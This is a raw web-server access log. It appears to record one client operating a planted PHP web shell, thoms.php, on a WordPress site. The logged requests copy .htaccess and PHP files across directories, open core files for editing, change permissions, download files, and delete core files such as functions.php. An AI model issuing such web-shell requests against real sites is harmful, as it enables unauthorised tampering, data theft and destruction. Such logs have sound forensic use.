45.135.193.11 - - [11/Sep/2026:23:35:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.htaccess&p= HTTP/1.1" 200 12345 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.htaccess&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11389 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.htaccess&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:29 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 18555 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.htaccess&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:29 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.htaccess&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.htaccess&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.htaccess&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.htaccess&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.htaccess&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.htaccess&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.htaccess&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.htaccess&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.htaccess&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.htaccess&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.htaccess&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.htaccess&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.htaccess&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.htaccess&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.htaccess&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11853 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.htaccess&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flocoy.php&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flocoy.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:30 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 18559 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.htaccess&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:30 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 18683 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flocoy.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flocoy.php&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flocoy.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flocoy.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flocoy.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:30 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 18683 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flocoy.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flocoy.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flocoy.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flocoy.php&p= HTTP/1.1" 200 12356 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flocoy.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:30 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flocoy.php&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flocoy.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flocoy.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flocoy.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flocoy.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flocoy.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flocoy.php&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11392 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flocoy.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flocoy.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11444 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flocoy.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flocoy.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11854 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Flocoy.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:31 -0400] "GET /thoms.php?edit=wp-links-opml.php&p=betcity.com.tw HTTP/1.1" 200 12841 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:31 -0400] "GET /thoms.php?edit=wp-links-opml.php&env=ace&p=betcity.com.tw HTTP/1.1" 200 16426 "http://163.245.207.76:443/thoms.php?edit=wp-links-opml.php&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p= HTTP/1.1" 200 12351 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11819 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11392 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11446 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:31 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11366 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-signup.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-signup.php&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-signup.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-signup.php&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-signup.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:32 -0400] "GET /thoms.php?edit=wp-comments-post.php&env=ace&p=betcity.com.tw HTTP/1.1" 200 16356 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:32 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 18853 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-signup.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:32 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 18901 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-signup.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:32 -0400] "GET /thoms.php?edit=wp-comments-post.php&p=betcity.com.tw HTTP/1.1" 200 12775 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 11325 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p=betcity.com.tw%2F.well-known HTTP/1.1" 200 11407 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:32 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:32 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 18957 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:32 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 18956 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:33 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p= HTTP/1.1" 200 12357 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:33 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:33 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-comments-post.php&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:33 -0400] "GET /thoms.php?edit=wp-signup.php&p=betcity.com.tw HTTP/1.1" 200 22262 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:33 -0400] "GET /thoms.php?edit=wp-signup.php&env=ace&p=betcity.com.tw HTTP/1.1" 200 25914 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:33 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=default-widgets.php HTTP/1.1" 200 12411 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=default-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:33 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fgeneral-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11834 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fgeneral-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:33 -0400] "GET /thoms.php?chmod=class-wp-widget.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:33 -0400] "GET /thoms.php?dl=speculative-loading.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?dl=speculative-loading.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:33 -0400] "GET /thoms.php?dl=class-wp-hook.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-hook.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:33 -0400] "GET /thoms.php?del=class-wp-locale.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-locale.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:33 -0400] "GET /thoms.php?dl=class.wp-scripts.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class.wp-scripts.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:34 -0400] "GET /thoms.php?chmod=taxonomy.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=taxonomy.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:34 -0400] "GET /thoms.php?chmod=user.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=user.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:34 -0400] "GET /thoms.php?del=functions.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=functions.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:34 -0400] "GET /thoms.php?chmod=capabilities.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=capabilities.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
